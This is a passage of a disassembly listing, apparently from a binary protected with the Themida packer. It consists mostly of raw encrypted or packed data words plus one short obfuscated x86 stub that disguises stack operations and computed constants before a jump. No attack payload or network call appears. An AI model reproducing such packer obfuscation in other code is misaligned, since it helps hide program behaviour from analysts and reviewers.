		dd 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h
		dd 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h,	3629394Dh
		dd 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh, 3256D008h
		dd 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh, 75DDEFA0h
		dd 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah, 3E09FEB5h
		dd 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh
		dd 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h
		dd 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h,	0D9AFE95Ah
		dd 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h, 0B30C57B1h
		dd 0F01485Bh, 19FE6B7h,	0CE0B636Ah, 7EEDCF3Ah, 0DD5BC8Ch
		dd 0B13229B1h, 3723518Eh, 0D9429032h, 36292840h, 0B15EA1B1h
		dd 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h, 0B18DB6A5h, 4653BECEh
		dd 2229D4BEh, 7347DEB7h, 0B952923Ah, 2FBDE6EEh,	0B952323Ah
		dd 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh, 37BDD4B5h,	3146D432h
		dd 1917D4C4h, 330A6368h, 0CDA9CDB0h, 37EF454Eh,	0C1565DB1h
		dd 53C1451Ah, 0FBAA123Ah, 6107FB72h, 3256D559h,	0D8D7B0B1h
		dd 346B2DDFh, 7E85203Ch, 56EE5B8Ch, 0DA56AEB1h,	32565763h
		dd 0F36DA03Ah, 7955C15Ah, 4097D1B5h, 221D76A6h,	30247B8Ah
		dd 26BD5F5Ah, 0A8DBBC5Ah, 346BB513h, 3ABD784Eh,	0D79E4F3Ch
		dd 0E1A9EC8Ch, 0F10E2CEAh, 0DABA31E4h, 32565DB1h, 8FBC2FEBh
		dd 52506AE9h, 7E85113Ch, 77DDD38Ch, 0B95163B9h,	75DF79F4h
		dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h
		dd 5746C34h, 283EADB7h,	0CDFE62C2h, 5758304h, 38D3D0B7h
		dd 0CD5094C3h, 0B8DB0561h, 346BE74Eh, 68862AE0h, 7EA9683Ch
		dd 8559738Ch, 0EADDB6F1h, 686752E3h, 0B0DF6DB2h, 34615A78h
		dd 5251C3D0h, 0E8h, 0EA815A00h,	63D592Eh, 0C9828B52h, 0B906370Dh
		dd 41C64E6Dh, 55AE1F7h,	3039h, 0FFFFFF25h, 0C982897Fh
		dd 5A06370Dh
aYQrs		db 'YÃQRè',0            ; DATA XREF: Themida_:0053D1F4o
		align 4
		dd 0EA815A00h, 63D595Eh, 0BBE8C88Bh, 33FFFFFFh,	8BF1F7D2h
		dd 0C3595AC2h, 0C08BC08Bh, 4F6F858Dh, 0D0FF063Dh, 8DC18B66h
		dd 3D592785h, 31858906h, 8D063733h, 3D595785h, 0A5858906h
		dd 0B8063705h, 0
		dd 840FC00Bh, 47h, 22B985C6h, 68560637h, 0A9C530DFh, 2339B5FFh
		dd 858D0637h, 63A720Ah,	8D50D0FFh, 3731BD8Dh, 46A5106h
		dd 100068h, 69B5FF00h, 0FF063719h, 69BD8BD0h, 3063719h
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 3710719Dh, 0B038B06h
		dd 5840FC0h, 8B000000h,	4438900h, 234CF6B9h, 0FE800h, 6E4E0000h
		dd 5E638A26h, 0BFAB359Fh, 4811682Dh, 0C6815B59h, 3047785Bh
		dd 6515C381h, 0DE810000h, 2ED75339h, 0E51BA3B9h, 78C1813Bh
		dd 0FFC41AFDh, 5FD08B33h, 8151D480h, 3D0809F7h,	0F3B70F1Ch
		dd 9BDC781h, 9E80403h, 1C000000h, 0D40BA653h, 0CE572551h
		dd 815AD08Bh, 528ADAC7h, 563B897Fh, 8A127BB8h, 0EB835A39h
		dd 1C860F03h, 0F000000h, 168Fh,	11E900h, 8D510000h, 0BEBFA67Fh
		dd 281957E6h, 3CA4E3E2h, 4B02ADD7h, 11E951h, 31270000h
		dd 4A6A4362h, 0B4F56CF8h, 942FA464h, 5AD90862h,	0F01E983h
		dd 0FFFF8285h, 8DD58AFFh, 3D5B8B8Dh, 0BDB58B06h, 89063719h
		dd 3718758Dh, 0ABCF8106h, 0C73B87B3h, 37119585h, 73A006h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 949E91C4h, 3FF9DF03h, 858B1B5Dh,	6372E89h
		dd 1331B533h, 85C70637h, 6370F81h, 0
		dd 0DE8h, 3B5CD400h, 0AE9E4B69h, 8E6A9FCDh, 0B589D815h
		dd 63700BDh, 61B5FF5Eh,	0F063729h, 488h, 0BCBE6600h, 9195FF4Fh
		dd 6A063712h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 27B4C350h, 12E8F9h, 0CC560000h
		dd 4FD66171h, 0F266C13Ah, 99FDBF7Bh, 0E0107860h, 5A9DD780h
		dd 6AC3B70Fh, 1995FF00h, 8B063732h, 0FD2EEBC0h,	93F90B11h
		dd 91C19F0Ah, 0B0039711h, 6023DB03h, 65E11C62h,	0BD81EBC0h
		dd 602C7D02h, 0BA8614D5h, 506430B0h, 0F87EBE87h, 0B5BDB240h
		dd 8EB13h, 0D1000000h, 0E97FD5C2h, 4B3h, 3D5CC268h, 2284E906h
		dd 2B68FFFAh, 0E9063D5Dh, 0FFFA227Ah, 3D5E8D68h, 2270E906h
		dd 2C72FFFAh, 0EF3EF9D9h, 0BE0BC6A6h, 8DDE9979h, 5BAD6848h
		dd 0B78D3818h, 8E6EB103h, 5F3F88D3h, 2D0D54A4h,	0FFDF2672h
		dd 507A957Bh, 13E71E97h, 0B5DF2E6h, 0C81401C8h,	5CB0A181h
		dd 0F44D6886h, 77E75AF2h, 0F5C18A51h, 0ECE714E9h, 251C0DEh
		dd 0B12C2573h, 0C20B5AB9h, 0DC555F8Ah, 0A43C5FE6h, 2EBh
		dd 82C51756h, 559A3B57h, 0F412E83Ch, 5AEF44D9h,	9EF91FE7h
		dd 0BE1138FDh, 4C97D6D8h, 0F7223C03h, 5472489Ch, 8ACD439h
		dd 22E90F1Ch, 0C263D322h, 8C539AE6h, 19D15772h,	60202A45h
		dd 9DC31C46h, 8BDF3A65h, 64597B5h, 91AB72BBh, 0AA756566h
		dd 0D0F61A3Eh, 0E02773B2h, 0A8F33200h, 5A6C5E79h, 0D9FF1A71h
		dd 55176A1h, 63CDF3BEh,	0EFA6C49Eh, 2FB00h, 2559B00h, 0CF186722h
		dd 0A2E734EFh, 71B607C2h, 4184D691h, 2CCEB661h,	0FCB797DAh
		dd 0CD8868B1h, 9B56367Dh, 0A428084Fh, 90A7A3BEh, 1744E71Eh
		dd 0FDD32723h, 851A0DFh, 0C4FC2741h, 61281DA9h,	1E6AA9E7h
		dd 0ABD1ACD7h, 0B9FC4E8Dh, 0CA0F5C9Bh, 98EAA59Fh, 0FEC58E55h
		dd 0A3E71E97h, 75451057h, 0FEC60E51h, 2925847h,	0EC320000h
		dd 0AFFEB999h, 7ECB8666h, 4D9E5939h, 1B6D2808h,	774DF8D8h
		dd 4E2E71C3h, 1FFF4893h, 0EDCD1464h, 0BF9FE632h, 103A553Bh
		dd 0D3E71E91h, 0B4AB2A6h, 216E79BEh, 256B1DCh, 6BF30E2Ch
		dd 0D0E76128h, 4C1AE3AAh, 45E71E97h, 59D81937h,	273C65E3h
		dd 1B7h, 0CA115DF5h, 0D71C6DACh, 0B367BCCh, 0AAF13D2Ah
		dd 0AEFB3A8Ch, 0A188A269h, 0E123CCA9h, 0DBF6143Ah, 0E123CCEFh
		dd 312B567Ch, 0B9D52463h, 455F266Dh, 12C460Dh, 19952A6h
		dd 213AF89Ah, 236CB7C2h, 0BDB2CDEBh, 36E75A01h,	78A3F210h
		dd 67637E91h, 4E71498h,	0C35DC3DEh, 0AA73547Fh,	0E7144CDCh
		dd 1C6EADD5h, 7290AED9h, 60090031h, 27803Ch, 274E0000h
		dd 0C4DFFDD3h, 0E75AECDBh, 7DBCDA00h, 41EE52Eh,	672FF8D9h
		dd 5AE714D3h, 44ED2E4Ch, 3C3C5FABh, 0C9h, 0CA115D0Ah, 81C41603h
		dd 3A81CDBAh, 0F33A8673h, 0D1147C13h, 0ABFAE123h, 6890BF79h
		dd 0DE257161h, 0AAC5FD17h, 0FDBC8943h, 0C1E61157h, 0C1102E75h
		dd 0E649FADh, 4780EB35h, 99C4CF79h, 4B3C3661h, 0B10321F7h
		dd 2332B496h, 0E61137E1h, 854293AEh, 7399E75Dh,	80C51655h
		dd 3C749FB9h, 4A95ABFDh, 0E8203A01h, 0B8FB4D08h, 0F5A5EBEDh
		dd 0CEBD7439h, 130h, 57378AD0h,	24044D9Ch, 0F7D71C69h
		dd 0C6A6EB3Ch, 9676B90Bh, 0F6115EBh, 0E631ECCCh, 0B202BD9Dh
		dd 84D08B6Bh, 0F3D95D3Dh, 1E92F2D8h, 504471E7h,	3450FB4Ah
		dd 0E50F1149h, 231E80CAh, 53D63E1h, 2063B5DAh, 1F398540h
		dd 266DB9D3h, 0E83A27EEh, 55356DA5h, 0DDF84AA3h, 0E123CCEDh
		dd 82D587Eh, 9BB692BCh,	13EB598Fh, 0DB2714DBh, 6FC3B494h
		dd 4D607B99h, 26E75B04h, 51A3E200h, 839EF00Eh, 0E7149C47h
		dd 0D9D3FE24h, 149C7442h, 0F14382E7h, 0A2CDE7AEh, 0AEA317Dh
		dd 0F3BAFD4Fh, 86B6A4F3h, 0C0651C43h, 866E95h, 27160000h
		dd 8DDFFDD3h, 0CC2A203Bh, 93B9E123h, 0CAF53C88h, 6128C1C9h
		dd 3686C5E7h, 0D2828EFh, 0E71E973Dh, 255088AEh,	0BD06514Ah
		dd 9746849Fh, 0FF25E71Eh, 0C71300C7h, 99E5A080h, 0A4C28B52h
		dd 245D3135h, 589FEF2Eh, 95F10F2Dh, 67220249h, 200DD41Bh
		dd 2067B7CFh, 40073F59h, 4AA6C484h, 94B6D1FEh, 579EF635h
		dd 9CDBF931h, 253F064Bh, 0F94500FAh, 274294B2h,	9EF63523h
		dd 8E6F9AC0h, 39Fh, 36284700h, 0FDC4175Dh, 0B67DC410h
		dd 6B3279C9h, 23EA337Eh, 0DAA1E436h, 91589BEDh,	470E53A4h
		dd 1C80D5Ah, 0B57CC514h, 0E08950C3h, 405h, 4E88300h, 8B240487h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	edi
		mov	edi, 2EB16DCDh
		and	edi, 28C36E15h
		not	edi
		shr	edi, 6
		xor	edi, 6CEC0775h
		dec	edi
		add	edi, 0AFAD0472h
		mov	eax, edi
		pop	edi
		shl	eax, 3
		shl	eax, 5
		inc	eax
		xor	eax, 593CF0EAh
		mov	ecx, eax
		pop	eax
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	2146h
		mov	[esp], ecx
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dw 0F940h
		dd 0B87BD7EAh, 63D5FE2h, 0E0FFC503h, 79F0DE76h,	11322BF0h
		dd 5B6A4E47h, 4FE017B9h, 7CF9BA7Eh, 26D9B241h, 39C5EDB1h
		dd 6DDD09A5h, 30093139h, 6BA397D3h, 78B830E2h, 7EEBF36Ch
		dd 2AF23AC7h, 667F8DA3h, 6F8DA0E2h, 1B9643DCh, 4BF1763Bh
		dd 5D08E3E9h, 1F175105h, 0F920B23h, 4F128EAh, 72B64EF9h
		dd 11E8h, 69537500h, 84709FF3h,	0CAF71FE7h, 33BDF8B1h
		dd 6E9E7E4h, 36000000h,	2807B8BCh, 81665EB0h, 8133D4CBh
		dd 5C7DC6h, 0E968FC00h,	66000016h, 9AB2CA81h, 78F0F5Fh
		dd 0F000000h, 187h, 68BFC00h, 0F081EA8Ah, 50308E96h, 0D131D181h
		dd 0C081221Fh, 2C3D0833h, 28D0F53h, 0B1000000h,	0C0815931h
		dd 7E8BE517h, 18C0Fh, 50F80000h, 0F068FF5h, 0EE81D2B7h
		dd 172C4ED5h, 68D0Fh, 0F1810000h, 3E09DB49h, 4ED1C681h
		dd 8B60172Ch, 615B52CFh, 25850F4Fh, 0F000000h, 784h, 81665600h
		dd 596D86D1h, 31E9h, 0BFBED600h, 3B84C446h, 0F96060F1h
		dd 601E63CAh, 0A6878897h, 7E956h, 333D0000h, 9F623564h
		dd 6FE95BE9h, 5BFFFFFFh, 0FC4A36F7h, 25DF5F57h,	8EB0D15h
		dd 364767A4h, 0
		dd 0BDBE9h, 634C6800h, 0B6E9063Dh, 68FFFAE7h, 63D6463h
		dd 0FAE7ACE9h, 660368FFh, 0A2E9063Dh, 68FFFAE7h, 63D6703h
		dd 0FAE798E9h, 68A668FFh, 8EE9063Dh, 68FFFAE7h,	63D6A85h
		dd 0FAE784E9h, 6B8A68FFh, 7AE9063Dh, 12FFFAE7h,	63BBF489h
		dd 0AF07403Dh, 0F9518A67h, 48A0D9A2h, 0FDEB24D1h, 0D6A7FA2Ah
		dd 26D7459Dh, 730095EDh, 0C1BCE23Ah, 3111F88h, 7BA922C9h
		dd 2ACB26D4h, 369D07F4h, 808BCB50h, 0FD024A3Fh,	94D30C1Eh
		dd 0F489144Ah, 30CD52CCh, 105C9B08h, 63CFEC89h,	67BBB5E9h
		dd 0C605729Ah, 0A2709E8Dh, 60354A58h, 0ABE1881Dh, 0F15E867Bh
		dd 0AFBD9BD4h, 7BAF5D75h, 8471A888h, 71B0EF5Ch,	5DB9F749h
		dd 888A7BAFh, 0B733EB1Ah, 2765EFB2h, 0C000000h,	4F997B93h
		dd 1DA4E441h, 0FC24F788h, 0AF666CAAh, 673B3D7Bh, 9F4285Eh
		dd 95774E1h, 0EFB2C351h, 0C783h, 0F42A2A00h, 3369E109h
		dd 61F10EE3h, 9D153D3Eh, 0FB473467h, 43B0D8A5h,	75009626h
		dd 0B24FD34Dh, 89D94979h, 197D81E6h, 81094351h,	5FBD81E6h
		dd 97D6A99Eh, 0EA84174Dh, 309DC5B8h, 3F5CC9F1h,	49346AC2h
		dd 1CFE1021h, 9BC7C4D2h, 5D8881Dh, 0E331DDCCh, 17598B99h
		dd 815481E9h, 0DF9C0137h, 9F2D4AB7h, 0E607406Bh, 9370DEBAh
		dd 0C2B3E676h, 0EE3189h, 509FDE9Bh, 0CF78A7Fh, 8306415Dh
		dd 0DE000009h, 2F87C0BDh, 7BD30CE9h, 0C51D562Bh, 146CA556h
		dd 0C9B7F08Dh, 0A253C65Eh, 0F28B1169h, 3F3C61B9h, 8D68AE06h
		dd 0CFDDEB54h, 7BA92195h, 2C9FFAA8h, 0BAD7A6F6h, 0CD06F72Ah
		dd 22DB4177h, 0E0708DFAh, 6986BFBAh, 148C7B93h,	95D44169h
		dd 0A4E03D4Bh, 20F3881Dh, 817CA0D6h, 63CFEC59h,	0AF65D311h
		dd 0A2A47Bh, 0B2C34D05h, 861A50EFh, 0AE60CFF7h,	0B3B26187h
		dd 0AC0B2867h, 0E4h, 0EAF82C53h, 81E684B0h, 82A7E8BBh
		dd 1E233533h, 0F72BBBD8h, 346AE20Ah, 0F0D011ECh, 5FA2A36Fh
		dd 77AA3A57h, 9C0C5E86h, 0BC81E59Fh, 0A629B66h,	699FE994h
		dd 0B4214932h, 0F41A2B97h, 7FA6CC24h, 0A2E1D02Ch, 0F8AB2D58h
		dd 7AA5D25Eh, 0FA175627h, 0FC615E6Ch, 9F72881Ch, 0FDFA1F55h
		dd 975766D5h, 0D0C51B0Ah, 0A1F77491h, 1F47346Bh, 0A06E95B2h
		dd 0D71A2872h, 1881E8ADh, 52C5FB45h, 3C640C94h,	6DAC1941h
		dd 0D6FEFF21h, 99F12A69h, 0A7267506h, 450CF6D9h, 86CEE29h
		dd 56C70000h, 801870A9h, 3264BCF5h, 6FAE063Fh, 9AFD558Eh
		dd 75B2A0D9h, 50896AADh, 0A0D9A4F8h, 0ED26D348h, 3B740195h
		dd 7CB6C4D2h, 8F7BA920h, 0F72A86E1h, 7A88BC06h,	81E68540h
		dd 0DE5B784Bh, 2DC05288h, 0EB7B9805h, 7491CAB7h, 7E07F42Ah
		dd 35EC318Bh, 0ED1862A1h, 0CB230770h, 2D6775B5h, 4081E5F1h
		dd 0A5112E6Dh, 0D10AF72Bh, 0A4EE2CE2h, 1D093996h, 9EAC8A88h
		dd 7BAF0264h, 3D65A477h, 69A25FC3h, 0BCB9DD13h,	7A0A2794h
		dd 0DF315924h, 2F524C2h, 348F1391h, 0D89006EEh,	4C74B34Eh
		dd 1167A0DFh, 9AB744DBh, 0C1E9940Ah, 74E5326Fh,	0E2C04400h
		dd 87C0BDE1h, 0D8A5FB31h, 962643B0h, 0D54D7500h, 0E55993A1h
		dd 91640074h, 0F921D245h, 0C6076F8Ch, 0D20074E4h, 0E88B04Dh
		dd 7EA3EF8Eh, 0DD95981h, 1DE93B95h, 930A4085h, 0D93DCDEAh
		dd 0AEED8A0Fh, 0E8223064h, 9C035825h, 0E3507805h, 81FE1BEEh
		dd 0E008F529h, 93DD3FCFh, 8F2ACC85h, 48568A09h,	92D2A0Eh
		dd 2984BECCh, 0C497092Dh, 0A6DFFCCFh, 63AB9AD3h, 0EF3167B1h
		dd 5563F10Eh, 0F6432B4h, 6ABCE4B7h, 358322Dh, 5DA8FAFCh
		dd 775B8BA5h, 3ACD7h, 0F82C7E00h, 0E684B0EAh, 44DBBB81h
		dd 0DF5B78B7h, 0B361AD71h, 0A7D65B69h, 0C699881Dh, 35312FBBh
		dd 0B856FCBEh, 0FD02105Ah, 0EE00E3B7h, 2CE2F31Bh, 6296A4EEh
		dd 65071224h, 8C124892h, 3A60B8F1h, 0E3EC2634h,	1FFFFAB1h
		dd 67D4FCF9h, 99AE928h,	0D7941D53h, 6CC80BBh, 0F6270000h
		dd 2078D009h, 52C41C55h, 8F0E669Fh, 3A5DB5EEh, 15120039h
		dd 0B0E98A0Dh, 39C458h,	4D8673A8h, 9BD4A1F5h, 0DC162432h
		dd 0EF7BA91Eh, 7B93E641h, 0E4414F99h, 0F7881D9Ch, 5984FC24h
		dd 48366383h, 50E0FD83h, 0AFE52FCAh, 0EA628A67h, 0AEBDA2DCh
		dd 9BDAAD7Bh, 0CC8C127Eh, 5AB856D6h, 94CEDC10h,	0A77BAEBDh
		dd 0F529B7D4h, 0A980F6CAh, 2739C586h, 0CA67DA2Bh, 58C0DD1Ch
		dd 81E61CFBh, 68C0F9CCh, 17E63A32h, 0E036B0D8h,	2D73ED15h
		dd 0A2B02850h, 81E5EE68h, 0C954A073h, 67E50C34h, 2F01933Bh
		dd 0A42EEFB4h, 0B7EB6F65h, 0B2EB960Ch, 0E9C7E49Ch, 29B16F5h
		dd 93BD0000h, 6A178C7Bh, 0A752C842h, 94D3127Fh,	0E6C73C4Ah
		dd 0F5C88823h, 0DC4177ABh, 23C1FB1Fh, 26757BA9h, 0CBC02D55h
		dd 8CCBB0EBh, 74ABE16Fh, 0A3F64E87h, 1958AAD2h,	7F7BA924h
		dd 0A20F5E1Bh, 7A06AB4Fh, 5CC235Eh, 0F6270000h,	2078D009h
		dd 52C41C55h, 8F0E669Fh, 3A5DB5EEh, 15120039h, 0B0E98A0Dh
		dd 39C458h, 4D8673A8h, 9BD4A1F5h, 0DC162432h, 0EF7BA91Dh
		dd 7B93E641h, 86194F99h, 3C4AD8F5h, 8823E6C7h, 53CDF5C8h
		dd 5F625CFh, 0E1358DC6h, 0A5E49107h, 0D59F037Dh, 9774B546h
		dd 0BD554A29h, 7FA3CB0Ah, 4C296DA3h, 0C2DF9A00h, 69AD168Ch
		dd 0C7FD538Ch, 3C8AA754h, 0EFAC5584h, 1D8B6h, 0BAF02400h
		dd 3B759964h, 4E7BA8ECh, 2A095E7Bh, 0DDA0FCF4h,	0FF1E549Eh
		dd 0FB75E1FEh, 0B2A1DAA7h, 3E74BE5Ch, 79F31BDAh, 0C4315922h
		dd 0CCDA6885h, 881D9DB7h, 659BE5B8h, 0A41C4431h, 0AF6C5C96h
		dd 5D9C6F7Bh, 265CD440h, 62D704F7h, 0D4281F8Ah,	0E3006D95h
		dd 0AF633D7Bh, 960C0E7Bh, 0B2BCB76Fh, 3AE9EFh, 2C900000h
		dd 0F095CDF8h, 8318CE48h, 0E654255Fh, 48653881h, 0E52FED21h
		dd 1D737AD7h, 0C5CDF888h, 0FB7C78E6h, 8DB1431h,	36508EE0h
		dd 1F217BAFh, 93CA8283h, 0DCFCEFB2h, 0A3000000h, 0A0FCF42Ah
		dd 948B5DDh, 651689BFh,	84D30D1Bh, 13E681E6h, 0DC128AF6h
		dd 0C9CB944h, 48C0E895h, 84CC0614h, 0CDF81E6h, 3E3B5FEFh
		dd 4EDCC9F4h, 1B15668Fh, 821892FEh, 2277ADF7h, 0A3C02D55h
		dd 5486F626h, 6CB281E6h, 0A5695891h, 0F02A386Ch, 0FB81E653h
		dd 53CA0428h, 2D581E6h,	0EC4E79C3h, 0F15E9FD5h,	5A68F613h
		dd 881FDA95h, 5398356h,	84AC49CFh, 376AFA17h, 62B50D46h
		dd 0A8654291h, 27431322h, 429ECh, 661B8400h, 0B243D52Dh
		dd 0FCF12179h, 4B306BC3h, 9667BA12h, 68B86F5Dh,	0B30B4431h
		dd 35B9469h, 50A8E19Eh,	8DF62FCAh, 1D37717Fh, 94427BA9h
		dd 0F9F72A39h, 42AFD7A4h, 3E74CA03h, 4AD11DD8h,	0FF1C89B1h
		dd 0DD412B6Fh, 0DC44291Eh, 7DBCF507h, 2AE8053Eh, 0B6F0FEF4h
		dd 0C981E684h, 84A3DDEBh, 0E3B681E6h, 0C33D65A4h, 7A69A25Fh
		dd 2E3C8694h, 881D8975h, 0DCA1FB31h, 0F12A47B4h, 80CB0513h
		dd 0BDE7BAFh, 0D74C82CCh, 7895022Ah, 807EBA0Ch,	0B4907BAFh
		dd 3E5B1A7Eh, 7C929A08h, 8D46549Eh, 9E81E685h, 0D74B81CBh
		dd 3A900D2Ah, 0C5E29F04h, 9F42A70h, 463367E1h, 1C81B70Dh
		dd 0F489135Fh, 1B425FCCh, 0C9D721F3h, 881D9DB4h, 0B04FD7B7h
		dd 2E9443E1h, 7CA4E301h, 56A8D00Fh, 7BAF3C18h, 8AB24FD4h
		dd 0C9F18C10h, 0AB257D49h, 95307274h, 123A375Fh, 823A88A5h
		dd 0B4EFB295h, 43h, 997B935Bh, 4256244Fh, 4D969809h, 3794A230h
		dd 88881CF2h, 0FD3B8DB5h, 0CE7BAED8h, 0B9EFD6CCh, 2D7B9865h
		dd 0EFB23675h
		dd 0ECA7h, 90EA1500h, 232543AEh, 86AE4FCDh, 0EF99DA19h
		dd 10BA206h, 2A4EA3C0h,	67E109F4h, 5E33630h, 7EA6E596h
		dd 30AAD211h, 9AC50FEAh, 837016BDh, 0AF1B385Bh,	0DB14E135h
		dd 0E59C3BABh, 2FC75B81h, 0E59AE721h, 0E01FF281h, 21CB4FA7h
		dd 76C0FFFCh, 1DD840h, 878B8394h, 0C3591BB1h, 64A5123Ah
		dd 5E9D36E8h, 9BCD0614h, 0BDE881Dh, 0D1467CD2h,	2EE00724h
		dd 95BDBADFh, 96D0DE28h, 0A97BAF4Bh, 3F4D97D6h,	81E8FD74h
		dd 0B845D80Eh, 458F629Bh, 0C5ED8A0Fh, 77AD3B58h, 0D5095320h
		dd 0D7FC8DC7h, 0B0CDA081h, 0B744DB33h, 0F73B9D68h, 0F02B470Ch
		dd 24Ah, 4E8774A5h, 9AD3A2F6h, 0E41DD042h, 336C118Ch, 7EB744DBh
		dd 10879790h, 4AD22A63h, 0FD227AB3h, 2B6FC700h,	9EAC154Eh
		dd 0A91B5690h, 60BB697Bh, 0CD06F72Ah, 1B542175h, 997B93FEh
		dd 0A4E4414Fh, 24F7881Dh, 0A87EAFDAh, 9DA2F531h, 0F43E7D7Eh
		dd 0AEDDACE6h, 0CFECBF7Bh, 6DB5EB63h, 0DEFB6890h, 0AEDE3876h
		dd 9B07097Bh, 0B23BB26Ah, 1D7FB5EFh, 0E3E44360h, 52000000h
		dd 0D2FA871Ch, 2AF34865h, 0DCA1FCF4h, 0D2FD759Dh, 0BF7649C3h
		dd 0C757747Dh, 297BA350h, 81E5BDB9h, 0DBAB9DDh,	0B7CEC027h
		dd 0B50B4483h, 0CA511B7Fh, 45D5F231h, 0EBFC24D1h, 9ED8E623h
		dd 0B181E5F2h, 47559FDEh, 881D1D0Eh, 0FB354321h, 0E7BAECCh
		dd 0D4C3FC3Bh, 808ED83Ah, 81E87B56h, 0F62C7649h, 4399D2A3h
		dd 0C5051218h, 0BCD9D424h, 0A4FBF52Ch, 0E135AFD7h, 407FEC14h
		dd 0EAEE8F6h, 0EEC181D8h, 299B60AFh, 1D390CF7h,	145E2h
		dd 827FA000h, 0CEAFF149h, 18D53D95h, 671487DFh,	0B243D62Eh
		dd 849C8B79h, 0CF27601Dh, 1F77B04Dh, 6CC4FDFAh,	0A9124B36h
		dd 1A538D9Bh, 0B8667BA9h, 6F72A5Dh, 3AA491BCh, 87F0D257h
		dd 0F018E53Bh, 91E96683h, 20836E0Dh, 0FE084B36h, 54953BE0h
		dd 8470C92h, 0F42AB2CFh, 6AD5AAFCh, 97491D4Dh, 5880BFFEh
		dd 0A4B2B8DEh, 81E5D26Ah, 4F899775h, 5A81E5D2h,	0D0094887h
		dd 0FE38467Ah, 1181E5D1h, 0D312EB31h, 9D7F8FB6h, 33CC4553h
		dd 0CDF8823h, 49346AE4h, 9762B810h, 0BD291D6Fh,	0E2B8AC22h
		dd 6A877AACh, 0C1556E34h, 0C302FF27h, 0B409348Ah, 3112679Bh
		dd 6B74AEBCh, 0B4874B9Fh, 7F42975h, 39C45AEAh, 916E9911h
		dd 6508445Ah, 8D10A0BDh, 2670A6F0h, 99B6234Bh, 0BBE7A72Dh
		dd 46DA9208h, 0E3228FB7h, 1D576599h, 304B9EA0h,	0EC81115Dh
		dd 0C8FC52CFh, 9E9F80BAh, 70AB8B4Bh, 0B7F6638Bh, 0A0255F6Dh
		dd 65384B9Eh, 8C62B848h, 9EA0447Eh, 0BAF4024Bh,	0C54B9E9Fh
		dd 0EB2AFDF2h, 393B6BA1h, 81EE16E7h, 61AD1A42h,	0B4203D3Eh
		dd 0C0FA083Ch, 0CB4B9E9Fh, 8DCCB1EBh, 81F70h, 31AA0000h
		dd 9C59BDF3h, 0F12A2A7Fh, 346AE40Ch, 72A72149h,	0B9E35D85h
		dd 0FF229CC4h, 0C55CD6FEh, 7961038h, 42D44E76h,	8B0D87AFh
		dd 5131C2EAh, 0BD55E189h, 553241D2h, 41F5CD81h,	0C14D4166h
		dd 0C58105EDh, 58361B1Ah, 0CD25ED81h, 0E9015AE1h, 4E9835Dh
		dd 5C240C87h, 61C668h, 241C8900h, 401368h, 242C8900h, 4E56B850h
		dd 0FA051C8Ch, 51E814Ah, 4EA7132Ch, 3638BD55h, 81455C9Dh
		dd 5F0DB2F5h, 0F1E5815Eh, 811AAE12h, 8F182DF5h,	0C5814D0Ch
		dd 45CD5FD8h, 355DE831h, 0DC53A4E7h, 5458C389h,	81242C8Bh
		dd 4C4h, 18BD6800h, 0C890000h, 8B924h, 0E9010000h, 8B591989h
		dd 8956242Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFFADBE9h, 8BFD1117h,	3D6CF4B8h
		dd 0FFC50306h, 0EAC0BCE0h, 0EA00ED16h, 14C12130h, 64ED111Bh
		dd 690BC70Ch, 20604E37h, 31325112h, 153DF2Ah, 8B91E74Ah
		dd 17FE7003h, 6DB53C65h, 0D8EE322h, 599C9E26h, 93E5B67Fh
		dd 918D8D4Dh, 89063D6Eh, 370B2D95h, 0FFBF0F06h,	18758D89h
		dd 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0EDB290C3h, 13E9C7h, 35C20000h, 0CA208CF0h
		dd 48E2B74h, 1A63A6BBh,	0A9BB6DA9h, 559D8BECh, 0C706371Bh
		dd 37119585h, 686C06h, 0D958B00h, 0C7063710h, 370F8185h
		dd 6, 10E900h, 0E4500000h, 0E0EB5122h, 0CEFB25ADh, 2B42DAACh
		dd 0BA66EA4Ch, 0B5FF346Ah, 6371CE1h, 31E59D89h,	95FF0637h
		dd 6371291h, 67C68166h,	0FF006A89h, 37321995h, 0EBC08B06h
		dd 34FDD079h, 5780F25Dh, 0E22AF003h, 9B19F89Dh,	0CE1A5E9h
		dd 3B48AB1h, 1A4B35BFh,	2015C6C1h, 8FFB44FDh, 0B6536CAEh
		dd 56EA1E8Dh, 0EFA302F3h, 0C58163E3h, 37B0F705h, 0E35959BFh
		dd 23431125h, 0DD6DA388h, 4C964442h, 3C8997E7h,	9D7BC8CAh
		dd 0BE788E17h, 9F102E9h, 708398B4h, 0DE9D8078h,	0C1C4C9E7h
		dd 6303B8C8h, 14F31061h, 0E985DCF4h, 0BF7CB3FFh, 6DDF1734h
